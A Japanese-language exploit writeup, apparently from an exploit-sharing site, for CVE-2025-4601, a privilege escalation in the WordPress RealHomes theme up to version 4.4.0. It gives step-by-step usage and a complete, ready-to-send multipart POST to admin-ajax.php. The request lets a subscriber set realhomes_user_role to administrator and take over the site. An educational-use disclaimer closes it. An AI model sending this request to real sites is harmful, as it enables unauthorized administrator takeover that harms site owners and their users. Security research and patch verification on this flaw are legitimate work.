CVE-2025-4601 - WordPress RealHomes テーマ <= 4.4.0 - 権限昇格

🔥 脆弱性概要 WordPressテーマRealHomesのバージョン4.4.0以下には、権限昇格の脆弱性が存在します。これにより、低い権限（購読者など）で認証されたユーザーが、管理者にロールを昇格させることが可能です。この脆弱性はinspiry_update_profile関数で発生し、ere_allow_users_change_roleオプションが有効な場合にユーザーがロールを変更することを不適切に許可します。

この問題は、admin-ajax.phpエンドポイントに対して特別に細工されたPOSTリクエストを送信し、realhomes_user_roleパラメータにadministratorを設定することで悪用できます。

🔍 影響を受けるテーマ

• テーマ名: RealHomes
• 影響バージョン: <= 4.4.0
• 脆弱性タイプ: 権限昇格
• CVE ID: CVE-2025-4601
• CVSSスコア: 8.8（クリティカル）
• 影響: フル管理者アクセス → サイト侵害の可能性

🧪 エクスプロイトの特徴

• 📥 ターゲットページからノンスを自動取得します。
• 🔐 realhomes_user_roleパラメータを介してユーザーロールをadministratorに昇格させます。
• 🌐 低権限ユーザー（例：購読者）としてログインしている以外に追加の認証は不要です。
• 💾 ユーザープロファイルを更新し、攻撃者に管理者アクセスを付与します。

🧠 研究者

• クレジット: Thai An

🚀 使用方法

1. 低権限ユーザー（例：購読者）としてターゲットWebサイトにログインします。

2. /wp-admin/admin-ajax.phpエンドポイントに、以下のPOSTデータをアクセスします。これにはrealhomes_user_roleがadministratorに設定されています。

   root@kitploit:~

   POST /wp-admin/admin-ajax.php HTTP/2
   Host: targetsite.com
   Cookie: wordpress_logged_in_xxx=...
   Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNGw1yuikHiYVYYsr
   
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="first-name"
   test
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="last-name"
   user
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="realhomes_user_role"
   administrator
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="action"
   inspiry_update_profile
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr--
   

3. レスポンスを確認します：リクエストが成功した場合、攻撃者は管理者アクセスを取得します。

4. /wp-admin/ページにアクセスして、攻撃者に管理者権限が付与されたことを確認します。

🔒 免責事項: これは教育目的のみを意図しており、自身が所有するシステム、または明示的にテストを許可されたシステムでのみ使用する必要があります。このコードの誤用は法的な結果を招く可能性があります。